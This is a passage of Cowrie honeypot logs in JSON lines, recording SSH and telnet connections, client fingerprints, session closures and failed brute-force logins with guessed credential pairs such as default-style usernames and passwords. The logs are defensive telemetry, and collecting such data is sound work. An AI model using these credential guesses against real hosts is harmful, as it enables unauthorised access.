sh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:19.865593Z","src_ip":"31.59.89.180","session":"6330c222ac76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qaz123!@#","message":"login attempt [ubuntu/Qaz123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:20.377240Z","src_ip":"31.59.89.180","session":"6330c222ac76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:21.510066Z","src_ip":"31.59.89.180","session":"6330c222ac76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.66.193.100","src_port":32774,"dst_ip":"10.17.0.5","dst_port":23,"session":"155712038813","protocol":"telnet","message":"New connection: 68.66.193.100:32774 (10.17.0.5:23) [session: 155712038813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:23.194318Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":55538,"dst_ip":"159.203.135.109","dst_port":22,"session":"f26104fcdae8","protocol":"ssh","message":"New connection: 80.94.92.186:55538 (159.203.135.109:22) [session: f26104fcdae8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:24.802760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:24.995949Z","src_ip":"80.94.92.186","session":"f26104fcdae8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:24.999885Z","src_ip":"80.94.92.186","session":"f26104fcdae8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana123","message":"login attempt [solana/solana123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:26.447625Z","src_ip":"80.94.92.186","session":"f26104fcdae8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.66.193.100","src_port":33484,"dst_ip":"10.17.0.5","dst_port":23,"session":"721a43c089ec","protocol":"telnet","message":"New connection: 68.66.193.100:33484 (10.17.0.5:23) [session: 721a43c089ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:27.060047Z"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:27.700849Z","src_ip":"80.94.92.186","session":"f26104fcdae8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.129.187.38","src_port":49310,"dst_ip":"159.203.135.109","dst_port":23,"session":"f55ecd142a81","protocol":"telnet","message":"New connection: 3.129.187.38:49310 (159.203.135.109:23) [session: f55ecd142a81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:30.566688Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.66.193.100","src_port":34478,"dst_ip":"10.17.0.5","dst_port":23,"session":"2081eeff6d83","protocol":"telnet","message":"New connection: 68.66.193.100:34478 (10.17.0.5:23) [session: 2081eeff6d83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:31.108621Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.149.53.243","src_port":7251,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a86f7b21ca2","protocol":"ssh","message":"New connection: 201.149.53.243:7251 (10.17.0.5:22) [session: 5a86f7b21ca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:32.845666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:32.852983Z","src_ip":"201.149.53.243","session":"5a86f7b21ca2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:32.918695Z","src_ip":"201.149.53.243","session":"5a86f7b21ca2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysqladmin","message":"login attempt [mysql/mysqladmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:33.208714Z","src_ip":"201.149.53.243","session":"5a86f7b21ca2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.66.193.100","src_port":35232,"dst_ip":"10.17.0.5","dst_port":23,"session":"141ed9ade1f7","protocol":"telnet","message":"New connection: 68.66.193.100:35232 (10.17.0.5:23) [session: 141ed9ade1f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:34.052619Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.66.193.100","src_port":35256,"dst_ip":"10.17.0.5","dst_port":23,"session":"32f5a39d3c2b","protocol":"telnet","message":"New connection: 68.66.193.100:35256 (10.17.0.5:23) [session: 32f5a39d3c2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:34.164623Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:34.276896Z","src_ip":"201.149.53.243","session":"5a86f7b21ca2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.66.193.100","src_port":35446,"dst_ip":"10.17.0.5","dst_port":23,"session":"96d080271619","protocol":"telnet","message":"New connection: 68.66.193.100:35446 (10.17.0.5:23) [session: 96d080271619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:35.102100Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.231.221.77","src_port":58958,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c137274285d","protocol":"telnet","message":"New connection: 173.231.221.77:58958 (10.17.0.5:23) [session: 5c137274285d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:36.070556Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.231.221.77","src_port":60138,"dst_ip":"10.17.0.5","dst_port":23,"session":"53be2f2837dd","protocol":"telnet","message":"New connection: 173.231.221.77:60138 (10.17.0.5:23) [session: 53be2f2837dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:38.076018Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.231.221.77","src_port":33174,"dst_ip":"10.17.0.5","dst_port":23,"session":"eec76bc78b27","protocol":"telnet","message":"New connection: 173.231.221.77:33174 (10.17.0.5:23) [session: eec76bc78b27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:40.078382Z"}
{"eventid":"cowrie.session.closed","duration":10.023226737976074,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:40.589768Z","src_ip":"3.129.187.38","session":"f55ecd142a81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.231.221.77","src_port":35090,"dst_ip":"10.17.0.5","dst_port":23,"session":"5509b9edb6fd","protocol":"telnet","message":"New connection: 173.231.221.77:35090 (10.17.0.5:23) [session: 5509b9edb6fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:43.032981Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.66.193.100","src_port":37616,"dst_ip":"10.17.0.5","dst_port":23,"session":"70e29ecc03c9","protocol":"telnet","message":"New connection: 68.66.193.100:37616 (10.17.0.5:23) [session: 70e29ecc03c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:43.067582Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.231.221.77","src_port":35150,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cc993ebb77e","protocol":"telnet","message":"New connection: 173.231.221.77:35150 (10.17.0.5:23) [session: 9cc993ebb77e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:43.141350Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.231.221.77","src_port":35676,"dst_ip":"10.17.0.5","dst_port":23,"session":"00b4f9b081ee","protocol":"telnet","message":"New connection: 173.231.221.77:35676 (10.17.0.5:23) [session: 00b4f9b081ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:44.162859Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.66.193.100","src_port":38146,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bd52c0a9257","protocol":"telnet","message":"New connection: 68.66.193.100:38146 (10.17.0.5:23) [session: 6bd52c0a9257]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:45.066406Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.231.221.77","src_port":36782,"dst_ip":"10.17.0.5","dst_port":23,"session":"d33ea7fdcbb8","protocol":"telnet","message":"New connection: 173.231.221.77:36782 (10.17.0.5:23) [session: d33ea7fdcbb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:46.072234Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55952,"dst_ip":"159.203.135.109","dst_port":22,"session":"d906d9444d3b","protocol":"ssh","message":"New connection: 159.203.92.129:55952 (159.203.135.109:22) [session: d906d9444d3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:46.270099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:46.275298Z","src_ip":"159.203.92.129","session":"d906d9444d3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:46.280479Z","src_ip":"159.203.92.129","session":"d906d9444d3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"XIAJINGSONG","password":"XIAJINGSONG","message":"login attempt [XIAJINGSONG/XIAJINGSONG] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:46.296212Z","src_ip":"159.203.92.129","session":"d906d9444d3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.96421718597412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:47.020717Z","src_ip":"68.66.193.100","session":"1a31b16291f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":45586,"dst_ip":"159.203.135.109","dst_port":22,"session":"4615cdb53916","protocol":"ssh","message":"New connection: 221.139.88.149:45586 (159.203.135.109:22) [session: 4615cdb53916]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:47.287884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:47.292543Z","src_ip":"221.139.88.149","session":"4615cdb53916","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:47.306150Z","src_ip":"159.203.92.129","session":"d906d9444d3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:47.552182Z","src_ip":"221.139.88.149","session":"4615cdb53916","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.231.221.77","src_port":37984,"dst_ip":"10.17.0.5","dst_port":23,"session":"235c9a41b792","protocol":"telnet","message":"New connection: 173.231.221.77:37984 (10.17.0.5:23) [session: 235c9a41b792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:48.141579Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456789!","message":"login attempt [ubuntu/Aa123456789!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:48.368389Z","src_ip":"221.139.88.149","session":"4615cdb53916","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:49.639388Z","src_ip":"221.139.88.149","session":"4615cdb53916","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.231.221.77","src_port":38908,"dst_ip":"10.17.0.5","dst_port":23,"session":"182ae1f86380","protocol":"telnet","message":"New connection: 173.231.221.77:38908 (10.17.0.5:23) [session: 182ae1f86380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:50.027670Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.55.174","src_port":50584,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d1d6a07e86c","protocol":"telnet","message":"New connection: 161.35.55.174:50584 (10.17.0.5:23) [session: 2d1d6a07e86c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:53.012511Z"}
{"eventid":"cowrie.session.closed","duration":30.84544825553894,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:54.039622Z","src_ip":"68.66.193.100","session":"155712038813","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.55.174","src_port":51396,"dst_ip":"10.17.0.5","dst_port":23,"session":"73dc790fd81b","protocol":"telnet","message":"New connection: 161.35.55.174:51396 (10.17.0.5:23) [session: 73dc790fd81b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:56.010264Z"}
{"eventid":"cowrie.session.closed","duration":30.969894647598267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:25:58.029805Z","src_ip":"68.66.193.100","session":"721a43c089ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.55.174","src_port":52736,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4f76a0e4d5d","protocol":"telnet","message":"New connection: 161.35.55.174:52736 (10.17.0.5:23) [session: d4f76a0e4d5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:00.037040Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.55.174","src_port":52746,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e35cbf81221","protocol":"telnet","message":"New connection: 161.35.55.174:52746 (10.17.0.5:23) [session: 8e35cbf81221]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:00.050163Z"}
{"eventid":"cowrie.session.closed","duration":30.913321256637573,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:02.021865Z","src_ip":"68.66.193.100","session":"2081eeff6d83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":49502,"dst_ip":"10.17.0.5","dst_port":22,"session":"13596f19c6d1","protocol":"ssh","message":"New connection: 210.183.21.53:49502 (10.17.0.5:22) [session: 13596f19c6d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:02.070083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:02.076722Z","src_ip":"210.183.21.53","session":"13596f19c6d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:26:02.279123Z","src_ip":"210.183.21.53","session":"13596f19c6d1","protocol":"ssh"}
